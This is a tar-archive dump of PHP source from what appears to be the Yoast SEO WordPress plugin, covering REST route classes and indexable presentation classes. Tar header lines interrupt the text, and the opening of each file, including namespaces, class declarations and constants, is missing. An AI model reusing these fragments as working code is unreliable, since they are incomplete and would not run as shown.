$status = $success === ( true ) ? 200 : 400;
return new WP_REST_Response(
(object) [
'success' => $success,
'status' => $status,
],
$status,
);
}
/**
* Whether or not the current user is allowed to dismiss alerts.
*
* @return bool Whether or not the current user is allowed to dismiss alerts.
*/
public function can_dismiss() {
return \current_user_can( 'edit_posts' );
}
}
routes/indexables-head-route.php 0000644 00000004622 15207625573 0012767 0 ustar 00 head_action = $head_action;
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Headless_Rest_Endpoints_Enabled_Conditional::class ];
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$route_args = [
'methods' => 'GET',
'callback' => [ $this, 'get_head' ],
'permission_callback' => '__return_true',
'args' => [
'url' => [
'validate_callback' => [ $this, 'is_valid_url' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::HEAD_FOR_URL_ROUTE, $route_args );
}
/**
* Gets the head of a page for a given URL.
*
* @param WP_REST_Request $request The request. This request should have a url param set.
*
* @return WP_REST_Response The response.
*/
public function get_head( WP_REST_Request $request ) {
$url = \esc_url_raw( \utf8_uri_encode( $request['url'] ) );
$data = $this->head_action->for_url( $url );
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if a url is a valid url.
*
* @param string $url The url to check.
*
* @return bool Whether or not the url is valid.
*/
public function is_valid_url( $url ) {
$url = WPSEO_Utils::sanitize_url( \utf8_uri_encode( $url ) );
if ( \filter_var( $url, \FILTER_VALIDATE_URL ) === false ) {
return false;
}
return true;
}
}
routes/importing-route.php 0000644 00000010113 15207625573 0011752 0 ustar 00 [\w-]+)/(?P[\w-]+)';
/**
* List of available importers.
*
* @var Importing_Action_Interface[]
*/
protected $importers = [];
/**
* The importable detector service.
*
* @var Importable_Detector_Service
*/
protected $importable_detector;
/**
* Importing_Route constructor.
*
* @param Importable_Detector_Service $importable_detector The importable detector service.
* @param Importing_Action_Interface ...$importers All available importers.
*/
public function __construct(
Importable_Detector_Service $importable_detector,
Importing_Action_Interface ...$importers
) {
$this->importable_detector = $importable_detector;
$this->importers = $importers;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
Main::API_V1_NAMESPACE,
self::ROUTE,
[
'callback' => [ $this, 'execute' ],
'permission_callback' => [ $this, 'is_user_permitted_to_import' ],
'methods' => [ 'POST' ],
],
);
}
/**
* Executes the rest request, but only if the respective action is enabled.
*
* @param mixed $data The request parameters.
*
* @return WP_REST_Response|false Response or false on non-existent route.
*/
public function execute( $data ) {
$plugin = (string) $data['plugin'];
$type = (string) $data['type'];
$next_url = $this->get_endpoint( $plugin, $type );
try {
$importer = $this->get_importer( $plugin, $type );
if ( $importer === false || ! $importer->is_enabled() ) {
return new WP_Error(
'rest_no_route',
'Requested importer not found',
[
'status' => 404,
],
);
}
$result = $importer->index();
if ( $result === false || \count( $result ) === 0 ) {
$next_url = false;
}
return $this->respond_with(
$result,
$next_url,
);
} catch ( Exception $exception ) {
if ( $exception instanceof Aioseo_Validation_Exception ) {
return new WP_Error(
'wpseo_error_validation',
$exception->getMessage(),
[ 'stackTrace' => $exception->getTraceAsString() ],
);
}
return new WP_Error(
'wpseo_error_indexing',
$exception->getMessage(),
[ 'stackTrace' => $exception->getTraceAsString() ],
);
}
}
/**
* Gets the right importer for the given arguments.
*
* @param string $plugin The plugin to import from.
* @param string $type The type of entity to import.
*
* @return Importing_Action_Interface|false The importer, or false if no importer was found.
*/
protected function get_importer( $plugin, $type ) {
$importers = $this->importable_detector->filter_actions( $this->importers, $plugin, $type );
if ( \count( $importers ) !== 1 ) {
return false;
}
return \current( $importers );
}
/**
* Gets the right endpoint for the given arguments.
*
* @param string $plugin The plugin to import from.
* @param string $type The type of entity to import.
*
* @return string|false The endpoint for the given action or false on failure of finding the one.
*/
public function get_endpoint( $plugin, $type ) {
if ( empty( $plugin ) || empty( $type ) ) {
return false;
}
return Main::API_V1_NAMESPACE . "/import/{$plugin}/{$type}";
}
/**
* Whether or not the current user is allowed to import.
*
* @return bool Whether or not the current user is allowed to import.
*/
public function is_user_permitted_to_import() {
return \current_user_can( 'activate_plugins' );
}
}
routes/supported-features-route.php 0000644 00000002437 15207625573 0013615 0 ustar 00 'GET',
'callback' => [ $this, 'get_supported_features' ],
'permission_callback' => '__return_true',
];
\register_rest_route( Main::API_V1_NAMESPACE, self::SUPPORTED_FEATURES_ROUTE, $supported_features_route );
}
/**
* Returns a list of features supported by this yoast seo installation.
*
* @return WP_REST_Response a list of features supported by this yoast seo installation.
*/
public function get_supported_features() {
return new WP_REST_Response(
[
'addon-installation' => 1,
],
);
}
}
routes/semrush-route.php 0000644 00000014410 15207625573 0011434 0 ustar 00 login_action = $login_action;
$this->options_action = $options_action;
$this->phrases_action = $phrases_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$authentication_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'authenticate' ],
'permission_callback' => [ $this, 'can_use_semrush' ],
'args' => [
'code' => [
'validate_callback' => [ $this, 'has_valid_code' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args );
$set_country_code_option_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'set_country_code_option' ],
'permission_callback' => [ $this, 'can_use_semrush' ],
'args' => [
'country_code' => [
'validate_callback' => [ $this, 'has_valid_country_code' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::COUNTRY_CODE_OPTION_ROUTE, $set_country_code_option_route_args );
$related_keyphrases_route_args = [
'methods' => 'GET',
'callback' => [ $this, 'get_related_keyphrases' ],
'permission_callback' => [ $this, 'can_use_semrush' ],
'args' => [
'keyphrase' => [
'validate_callback' => [ $this, 'has_valid_keyphrase' ],
'required' => true,
],
'country_code' => [
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::RELATED_KEYPHRASES_ROUTE, $related_keyphrases_route_args );
}
/**
* Authenticates with SEMrush.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function authenticate( WP_REST_Request $request ) {
$data = $this
->login_action
->authenticate( $request['code'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Sets the SEMrush country code option.
*
* @param WP_REST_Request $request The request. This request should have a country code param set.
*
* @return WP_REST_Response The response.
*/
public function set_country_code_option( WP_REST_Request $request ) {
$data = $this
->options_action
->set_country_code( $request['country_code'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if a valid code was returned.
*
* @param string $code The code to check.
*
* @return bool Whether or not the code is valid.
*/
public function has_valid_code( $code ) {
return $code !== '';
}
/**
* Checks if a valid keyphrase is provided.
*
* @param string $keyphrase The keyphrase to check.
*
* @return bool Whether or not the keyphrase is valid.
*/
public function has_valid_keyphrase( $keyphrase ) {
return \trim( $keyphrase ) !== '';
}
/**
* Gets the related keyphrases based on the passed keyphrase and database code.
*
* @param WP_REST_Request $request The request. This request should have a keyphrase and country_code param set.
*
* @return WP_REST_Response The response.
*/
public function get_related_keyphrases( WP_REST_Request $request ) {
$data = $this
->phrases_action
->get_related_keyphrases(
$request['keyphrase'],
$request['country_code'],
);
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if a valid country code was submitted.
*
* @param string $country_code The country code to check.
*
* @return bool Whether or not the country code is valid.
*/
public function has_valid_country_code( $country_code ) {
return ( $country_code !== '' && \preg_match( '/^[a-z]{2}$/', $country_code ) === 1 );
}
/**
* Whether or not the current user is allowed to edit post/pages and thus use the SEMrush integration.
*
* @return bool Whether or not the current user is allowed to use SEMrush.
*/
public function can_use_semrush() {
return \current_user_can( 'edit_posts' ) || \current_user_can( 'edit_pages' );
}
}
routes/meta-search-route.php 0000644 00000003742 15207625573 0012145 0 ustar 00 'GET',
'callback' => [ $this, 'search_meta' ],
'permission_callback' => [ $this, 'permission_check' ],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::META_SEARCH_ROUTE, $route );
}
/**
* Performs the permission check.
*
* @param WP_REST_Request $request The request.
*
* @return bool
*/
public function permission_check( $request ) {
if ( ! isset( $request['post_id'] ) ) {
return false;
}
$post_type = \get_post_type( $request['post_id'] );
$post_type_object = \get_post_type_object( $post_type );
return \current_user_can( $post_type_object->cap->edit_post, $request['post_id'] );
}
/**
* Searches meta fields of a given post.
*
* @param WP_REST_Request $request The REST request.
*
* @return WP_REST_Response
*/
public function search_meta( $request ) {
$post_id = $request['post_id'];
$query = $request['query'];
$meta = \get_post_custom( $post_id );
$matches = [];
foreach ( $meta as $key => $values ) {
if ( \substr( $key, 0, \strlen( $query ) ) !== $query ) {
continue;
}
if ( empty( $query ) && \substr( $key, 0, 1 ) === '_' ) {
continue;
}
// Skip custom field values that are serialized.
if ( \is_serialized( $values[0] ) ) {
continue;
}
$matches[] = [
'key' => $key,
'value' => $values[0],
];
if ( \count( $matches ) >= 25 ) {
break;
}
}
return \rest_ensure_response( [ 'meta' => $matches ] );
}
}
routes/workouts-route.php 0000644 00000006147 15207625573 0011653 0 ustar 00 options_helper = $options_helper;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$edit_others_posts = static function () {
return \current_user_can( 'edit_others_posts' );
};
$workouts_route = [
[
'methods' => 'GET',
'callback' => [ $this, 'get_workouts' ],
'permission_callback' => $edit_others_posts,
],
[
'methods' => 'POST',
'callback' => [ $this, 'set_workouts' ],
'permission_callback' => $edit_others_posts,
'args' => $this->get_workouts_routes_args(),
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::WORKOUTS_ROUTE, $workouts_route );
}
/**
* Returns the workouts as configured for the site.
*
* @return WP_REST_Response the configuration of the workouts.
*/
public function get_workouts() {
$workouts_option = $this->options_helper->get( 'workouts_data' );
/**
* Filter: 'Yoast\WP\SEO\workouts_options' - Allows adding workouts options by the add-ons.
*
* @param array $workouts_option The content of the `workouts_data` option in Free.
*/
$workouts_option = \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );
return new WP_REST_Response(
[ 'json' => $workouts_option ],
);
}
/**
* Sets the workout configuration.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response the configuration of the workouts.
*/
public function set_workouts( $request ) {
$workouts_data = $request->get_json_params();
/**
* Filter: 'Yoast\WP\SEO\workouts_route_save' - Allows the add-ons to save the options data in their own options.
*
* @param mixed|null $result The result of the previous saving operation.
*
* @param array $workouts_data The full set of workouts option data to save.
*/
$result = \apply_filters( 'Yoast\WP\SEO\workouts_route_save', null, $workouts_data );
return new WP_REST_Response(
[ 'json' => $result ],
);
}
/**
* Gets the args for all the registered workouts.
*
* @return array
*/
private function get_workouts_routes_args() {
$args_array = [];
/**
* Filter: 'Yoast\WP\SEO\workouts_route_args' - Allows the add-ons add their own arguments to the route registration.
*
* @param array $args_array The array of arguments for the route registration.
*/
return \apply_filters( 'Yoast\WP\SEO\workouts_route_args', $args_array );
}
}
routes/endpoint-interface.php 0000644 00000000672 15207625576 0012400 0 ustar 00 post_indexation_action = $post_indexation_action;
$this->term_indexation_action = $term_indexation_action;
$this->post_type_archive_indexation_action = $post_type_archive_indexation_action;
$this->general_indexation_action = $general_indexation_action;
$this->indexable_indexing_complete_action = $indexable_indexing_complete_action;
$this->indexing_complete_action = $indexing_complete_action;
$this->prepare_indexing_action = $prepare_indexing_action;
$this->options_helper = $options_helper;
$this->post_link_indexing_action = $post_link_indexing_action;
$this->term_link_indexing_action = $term_link_indexing_action;
$this->indexing_helper = $indexing_helper;
}
/**
* Registers the routes used to index indexables.
*
* @return void
*/
public function register_routes() {
$route_args = [
'methods' => 'POST',
'callback' => [ $this, 'index_posts' ],
'permission_callback' => [ $this, 'can_index' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::POSTS_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'index_terms' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::TERMS_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'index_post_type_archives' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_ARCHIVES_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'index_general' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::GENERAL_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'prepare' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::PREPARE_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'indexables_complete' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::INDEXABLES_COMPLETE_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'complete' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::COMPLETE_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'index_post_links' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::POST_LINKS_INDEXING_ROUTE, $route_args );
$route_args['callback'] = [ $this, 'index_term_links' ];
\register_rest_route( Main::API_V1_NAMESPACE, self::TERM_LINKS_INDEXING_ROUTE, $route_args );
}
/**
* Indexes a number of unindexed posts.
*
* @return WP_REST_Response The response.
*/
public function index_posts() {
return $this->run_indexation_action( $this->post_indexation_action, self::FULL_POSTS_ROUTE );
}
/**
* Indexes a number of unindexed terms.
*
* @return WP_REST_Response The response.
*/
public function index_terms() {
return $this->run_indexation_action( $this->term_indexation_action, self::FULL_TERMS_ROUTE );
}
/**
* Indexes a number of unindexed post type archive pages.
*
* @return WP_REST_Response The response.
*/
public function index_post_type_archives() {
return $this->run_indexation_action( $this->post_type_archive_indexation_action, self::FULL_POST_TYPE_ARCHIVES_ROUTE );
}
/**
* Indexes a number of unindexed general items.
*
* @return WP_REST_Response The response.
*/
public function index_general() {
return $this->run_indexation_action( $this->general_indexation_action, self::FULL_GENERAL_ROUTE );
}
/**
* Indexes a number of posts for post links.
*
* @return WP_REST_Response The response.
*/
public function index_post_links() {
return $this->run_indexation_action( $this->post_link_indexing_action, self::FULL_POST_LINKS_INDEXING_ROUTE );
}
/**
* Indexes a number of terms for term links.
*
* @return WP_REST_Response The response.
*/
public function index_term_links() {
return $this->run_indexation_action( $this->term_link_indexing_action, self::FULL_TERM_LINKS_INDEXING_ROUTE );
}
/**
* Prepares the indexation.
*
* @return WP_REST_Response The response.
*/
public function prepare() {
$this->prepare_indexing_action->prepare();
return $this->respond_with( [], false );
}
/**
* Completes the indexable indexation.
*
* @return WP_REST_Response The response.
*/
public function indexables_complete() {
$this->indexable_indexing_complete_action->complete();
return $this->respond_with( [], false );
}
/**
* Completes the indexation.
*
* @return WP_REST_Response The response.
*/
public function complete() {
$this->indexing_complete_action->complete();
return $this->respond_with( [], false );
}
/**
* Whether or not the current user is allowed to index.
*
* @return bool Whether or not the current user is allowed to index.
*/
public function can_index() {
return \current_user_can( 'edit_posts' );
}
/**
* Runs an indexing action and returns the response.
*
* @param Indexation_Action_Interface $indexation_action The indexing action.
* @param string $url The url of the indexing route.
*
* @return WP_REST_Response|WP_Error The response, or an error when running the indexing action failed.
*/
protected function run_indexation_action( Indexation_Action_Interface $indexation_action, $url ) {
try {
return parent::run_indexation_action( $indexation_action, $url );
} catch ( Exception $exception ) {
$this->indexing_helper->indexing_failed();
return new WP_Error(
'wpseo_error_indexing',
$exception->getMessage(),
[ 'stackTrace' => $exception->getTraceAsString() ],
);
}
}
}
routes/abstract-action-route.php 0000644 00000001173 15207625576 0013031 0 ustar 00 $objects,
'next_url' => $next_url,
],
);
}
}
presentations/indexable-error-page-presentation.php 0000644 00000001265 15207625576 0016703 0 ustar 00 get_base_robots();
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
return $this->options->get_title_default( 'title-404-wpseo' );
}
}
presentations/indexable-term-archive-presentation.php 0000644 00000012302 15207625576 0017220 0 ustar 00 wp_query_wrapper = $wp_query_wrapper;
$this->taxonomy = $taxonomy;
}
/**
* Generates the canonical.
*
* @return string The canonical.
*/
public function generate_canonical() {
if ( $this->is_multiple_terms_query() ) {
return '';
}
if ( $this->model->canonical ) {
return $this->model->canonical;
}
if ( ! $this->permalink ) {
return '';
}
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $this->permalink, $current_page );
}
return $this->permalink;
}
/**
* Generates the meta description.
*
* @return string The meta description.
*/
public function generate_meta_description() {
if ( $this->model->description ) {
return $this->model->description;
}
return $this->options->get( 'metadesc-tax-' . $this->model->object_sub_type );
}
/**
* Generates the source.
*
* @return array The source.
*/
public function generate_source() {
if ( ! empty( $this->model->object_id ) || \get_queried_object() === null ) {
return \get_term( $this->model->object_id, $this->model->object_sub_type );
}
return \get_term( \get_queried_object()->term_id, \get_queried_object()->taxonomy );
}
/**
* Generates the Open Graph description.
*
* @return string The Open Graph description.
*/
public function generate_open_graph_description() {
$open_graph_description = parent::generate_open_graph_description();
if ( $open_graph_description ) {
return $open_graph_description;
}
return $this->taxonomy->get_term_description( $this->model->object_id );
}
/**
* Generates the Twitter description.
*
* @return string The Twitter description.
*/
public function generate_twitter_description() {
$twitter_description = parent::generate_twitter_description();
if ( $twitter_description ) {
return $twitter_description;
}
if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) {
return '';
}
return $this->taxonomy->get_term_description( $this->model->object_id );
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
/**
* If its a multiple terms archive page return a noindex.
*/
if ( $this->current_page->is_multiple_terms_page() ) {
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
/**
* First we get the no index option for this taxonomy, because it can be overwritten the indexable value for
* this specific term.
*/
if ( \is_wp_error( $this->source ) || ! $this->taxonomy->is_indexable( $this->source->taxonomy ) ) {
$robots['index'] = 'noindex';
}
/**
* Overwrite the index directive when there is a term specific directive set.
*/
if ( $this->model->is_robots_noindex !== null ) {
$robots['index'] = ( $this->model->is_robots_noindex ) ? 'noindex' : 'index';
}
return $this->filter_robots( $robots );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
if ( \is_wp_error( $this->source ) ) {
return $this->model->title;
}
// Get the SEO title as entered in Search Appearance.
$title = $this->options->get( 'title-tax-' . $this->source->taxonomy );
if ( $title ) {
return $title;
}
// Get the installation default title.
$title = $this->options->get_title_default( 'title-tax-' . $this->source->taxonomy );
return $title;
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'article';
}
/**
* Checks if term archive query is for multiple terms (/term-1,term-2/ or /term-1+term-2/).
*
* @return bool Whether the query contains multiple terms.
*/
protected function is_multiple_terms_query() {
$query = $this->wp_query_wrapper->get_query();
if ( ! isset( $query->tax_query ) ) {
return false;
}
if ( \is_wp_error( $this->source ) ) {
return false;
}
$queried_terms = $query->tax_query->queried_terms;
if ( empty( $queried_terms[ $this->source->taxonomy ]['terms'] ) ) {
return false;
}
return \count( $queried_terms[ $this->source->taxonomy ]['terms'] ) > 1;
}
}
presentations/abstract-presentation.php 0000644 00000004530 15207625576 0014510 0 ustar 00 is_prototype() ) {
throw new Exception( 'Attempting to create a model presentation from another model presentation. Use the prototype presentation gained from DI instead.' );
}
// Clone self to allow stateful services that do benefit from DI.
$presentation = clone $this;
foreach ( $data as $key => $value ) {
$presentation->{$key} = $value;
}
$presentation->is_prototype = false;
return $presentation;
}
/**
* Magic getter for lazy loading of generate functions.
*
* @param string $name The property to get.
*
* @return mixed The value if it could be generated.
*
* @throws Exception If there is no generator for the property.
*/
public function __get( $name ) {
if ( $this->is_prototype() ) {
throw new Exception( 'Attempting property access on prototype presentation. Use Presentation::of( $data ) to get a model presentation.' );
}
$generator = "generate_$name";
if ( \method_exists( $this, $generator ) ) {
$this->{$name} = $this->$generator();
return $this->{$name};
}
throw new Exception( "Property $name has no generator. Expected function $generator." );
}
/**
* Magic isset for ensuring methods that have a generator are recognised.
*
* @codeCoverageIgnore Wrapper method.
*
* @param string $name The property to get.
*
* @return bool Whether or not there is a generator for the requested property.
*/
public function __isset( $name ) {
return \method_exists( $this, "generate_$name" );
}
/**
* Returns `true` if this class is a prototype.
*
* @codeCoverageIgnore Wrapper method.
*
* @return bool If this class is a prototype or not.
*/
protected function is_prototype() {
return $this->is_prototype;
}
}
presentations/archive-adjacent-trait.php 0000644 00000003235 15207625577 0014507 0 ustar 00 pagination = $pagination;
}
/**
* Generates the rel prev.
*
* @return string
*/
public function generate_rel_prev() {
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
// Check if there is a previous page.
if ( $current_page === 1 ) {
return '';
}
// Check if the previous page is the first page.
if ( $current_page === 2 ) {
return $this->permalink;
}
return $this->pagination->get_paginated_url( $this->permalink, ( $current_page - 1 ) );
}
/**
* Generates the rel next.
*
* @return string
*/
public function generate_rel_next() {
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_archive_page_number() );
if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) {
return '';
}
return $this->pagination->get_paginated_url( $this->permalink, ( $current_page + 1 ) );
}
}
presentations/indexable-search-result-page-presentation.php 0000644 00000002635 15207625577 0020336 0 ustar 00 get_base_robots();
$robots['index'] = 'noindex';
return $this->filter_robots( $robots );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
return $this->options->get_title_default( 'title-search-wpseo' );
}
/**
* Generates the Twitter title.
*
* @return string The Twitter title.
*/
public function generate_twitter_title() {
return $this->title;
}
/**
* Generates the Open Graph URL.
*
* @return string The Open Graph URL.
*/
public function generate_open_graph_url() {
$search_query = \get_search_query();
// Regex catches case when /search/page/N without search term is itself mistaken for search term.
if ( ! empty( $search_query ) && ! \preg_match( '|^page/\d+$|', $search_query ) ) {
return \get_search_link();
}
return '';
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'article';
}
}
presentations/indexable-post-type-archive-presentation.php 0000644 00000002715 15207625577 0020225 0 ustar 00 permalink;
if ( ! $permalink ) {
return '';
}
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $permalink, $current_page );
}
return $permalink;
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
if ( $this->options->get( 'noindex-ptarchive-' . $this->model->object_sub_type, false ) ) {
$robots['index'] = 'noindex';
}
return $this->filter_robots( $robots );
}
/**
* Generates the title.
*
* @return string The title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
$post_type = $this->model->object_sub_type;
$title = $this->options->get_title_default( 'title-ptarchive-' . $post_type );
return $title;
}
/**
* Generates the source.
*
* @return array The source.
*/
public function generate_source() {
return [ 'post_type' => $this->model->object_sub_type ];
}
}
presentations/indexable-static-posts-page-presentation.php 0000644 00000001721 15207625577 0020205 0 ustar 00 model->canonical ) {
return $this->model->canonical;
}
$current_page = $this->pagination->get_current_archive_page_number();
if ( $current_page > 1 ) {
return $this->pagination->get_paginated_url( $this->permalink, $current_page );
}
return $this->permalink;
}
/**
* Generates the Open Graph URL.
*
* @return string The Open Graph URL.
*/
public function generate_open_graph_url() {
return $this->permalink;
}
}
presentations/indexable-post-type-presentation.php 0000644 00000024700 15207625577 0016604 0 ustar 00 post_type = $post_type;
$this->date = $date;
$this->pagination = $pagination;
$this->post = $post;
}
/**
* Generates the canonical.
*
* @return string The canonical.
*/
public function generate_canonical() {
if ( $this->model->canonical ) {
return $this->model->canonical;
}
$permalink = $this->permalink;
// Fix paginated pages canonical, but only if the page is truly paginated.
$current_page = $this->pagination->get_current_post_page_number();
if ( $current_page > 1 ) {
$number_of_pages = $this->model->number_of_pages;
if ( $number_of_pages && $current_page <= $number_of_pages ) {
$permalink = $this->get_paginated_url( $permalink, $current_page );
}
}
return $this->url->ensure_absolute_url( $permalink );
}
/**
* Generates the rel prev.
*
* @return string The rel prev value.
*/
public function generate_rel_prev() {
if ( $this->model->number_of_pages === null ) {
return '';
}
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_post_page_number() );
// Check if there is a previous page.
if ( $current_page < 2 ) {
return '';
}
// Check if the previous page is the first page.
if ( $current_page === 2 ) {
return $this->model->permalink;
}
return $this->get_paginated_url( $this->model->permalink, ( $current_page - 1 ) );
}
/**
* Generates the rel next.
*
* @return string The rel prev next.
*/
public function generate_rel_next() {
if ( $this->model->number_of_pages === null ) {
return '';
}
if ( $this->pagination->is_rel_adjacent_disabled() ) {
return '';
}
$current_page = \max( 1, $this->pagination->get_current_post_page_number() );
if ( $this->model->number_of_pages <= $current_page ) {
return '';
}
return $this->get_paginated_url( $this->model->permalink, ( $current_page + 1 ) );
}
/**
* Generates the open graph title.
*
* @return string The open graph title.
*/
public function generate_title() {
if ( $this->model->title ) {
return $this->model->title;
}
// Get SEO title as entered in Search appearance.
$post_type = $this->model->object_sub_type;
$title = $this->options->get( 'title-' . $this->model->object_sub_type );
if ( $title ) {
return $title;
}
// Get installation default title.
return $this->options->get_title_default( 'title-' . $post_type );
}
/**
* Generates the meta description.
*
* @return string The meta description.
*/
public function generate_meta_description() {
if ( $this->model->description ) {
return $this->model->description;
}
return $this->options->get( 'metadesc-' . $this->model->object_sub_type );
}
/**
* Generates the open graph description.
*
* @return string The open graph description.
*/
public function generate_open_graph_description() {
if ( $this->model->open_graph_description ) {
$open_graph_description = $this->model->open_graph_description;
}
if ( empty( $open_graph_description ) ) {
// The helper applies a filter, but we don't have a default value at this stage so we pass an empty string.
$open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type );
}
if ( empty( $open_graph_description ) ) {
$open_graph_description = $this->meta_description;
}
if ( empty( $open_graph_description ) ) {
$open_graph_description = $this->post->get_the_excerpt( $this->model->object_id );
$open_graph_description = $this->post->strip_shortcodes( $open_graph_description );
}
return $open_graph_description;
}
/**
* Generates the open graph images.
*
* @return array The open graph images.
*/
public function generate_open_graph_images() {
if ( \post_password_required() ) {
return [];
}
return parent::generate_open_graph_images();
}
/**
* Generates the Open Graph type.
*
* @return string The Open Graph type.
*/
public function generate_open_graph_type() {
return 'article';
}
/**
* Generates the open graph article author.
*
* @return string The open graph article author.
*/
public function generate_open_graph_article_author() {
if ( $this->model->object_sub_type !== 'post' ) {
return '';
}
$post = $this->source;
$open_graph_article_author = $this->user->get_the_author_meta( 'facebook', $post->post_author );
if ( $open_graph_article_author ) {
return $open_graph_article_author;
}
return '';
}
/**
* Generates the open graph article publisher.
*
* @return string The open graph article publisher.
*/
public function generate_open_graph_article_publisher() {
$open_graph_article_publisher = $this->context->open_graph_publisher;
if ( $open_graph_article_publisher ) {
return $open_graph_article_publisher;
}
return '';
}
/**
* Generates the open graph article published time.
*
* @return string The open graph article published time.
*/
public function generate_open_graph_article_published_time() {
if ( $this->model->object_sub_type !== 'post' ) {
/**
* Filter: 'wpseo_opengraph_show_publish_date' - Allow showing publication date for other post types.
*
* @param bool $show Whether or not to show publish date.
* @param string $post_type The current URL's post type.
*/
if ( ! \apply_filters( 'wpseo_opengraph_show_publish_date', false, $this->post->get_post_type( $this->source ) ) ) {
return '';
}
}
return $this->date->format( $this->source->post_date_gmt );
}
/**
* Generates the open graph article modified time.
*
* @return string The open graph article modified time.
*/
public function generate_open_graph_article_modified_time() {
if ( \strtotime( $this->source->post_modified_gmt ) > \strtotime( $this->source->post_date_gmt ) ) {
return $this->date->format( $this->source->post_modified_gmt );
}
return '';
}
/**
* Generates the source.
*
* @return array The source.
*/
public function generate_source() {
return \get_post( $this->model->object_id );
}
/**
* Generates the robots value.
*
* @return array The robots value.
*/
public function generate_robots() {
$robots = $this->get_base_robots();
$robots = \array_merge(
$robots,
[
'imageindex' => ( $this->model->is_robots_noimageindex === true ) ? 'noimageindex' : null,
'archive' => ( $this->model->is_robots_noarchive === true ) ? 'noarchive' : null,
'snippet' => ( $this->model->is_robots_nosnippet === true ) ? 'nosnippet' : null,
],
);
// No snippet means max snippet can be omitted.
if ( $this->model->is_robots_nosnippet === true ) {
$robots['max-snippet'] = null;
}
// No image index means max image preview can be omitted.
if ( $this->model->is_robots_noimageindex === true ) {
$robots['max-image-preview'] = null;
}
// When the post specific index is not set, look to the post status and default of the post type.
if ( $this->model->is_robots_noindex === null ) {
$post_status_private = \get_post_status( $this->model->object_id ) === 'private';
$post_type_noindex = ! $this->post_type->is_indexable( $this->model->object_sub_type );
if ( $post_status_private || $post_type_noindex ) {
$robots['index'] = 'noindex';
}
}
return $this->filter_robots( $robots );
}
/**
* Generates the Twitter description.
*
* @return string The Twitter description.
*/
public function generate_twitter_description() {
$twitter_description = parent::generate_twitter_description();
if ( $twitter_description ) {
return $twitter_description;
}
if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) {
return '';
}
return $this->post->get_the_excerpt( $this->model->object_id );
}
/**
* Generates the Twitter image.
*
* @return string The Twitter image.
*/
public function generate_twitter_image() {
if ( \post_password_required() ) {
return '';
}
return parent::generate_twitter_image();
}
/**
* Generates the Twitter creator.
*
* @return string The Twitter creator.
*/
public function generate_twitter_creator() {
if ( $this->model->object_sub_type !== 'post' ) {
return '';
}
$twitter_creator = \ltrim( \trim( \get_the_author_meta( 'twitter', $this->source->post_author ) ), '@' );
/**
* Filter: 'wpseo_twitter_creator_account' - Allow changing the X account as output in the X card by Yoast SEO.
*
* @param string $twitter The twitter account name string.
*/
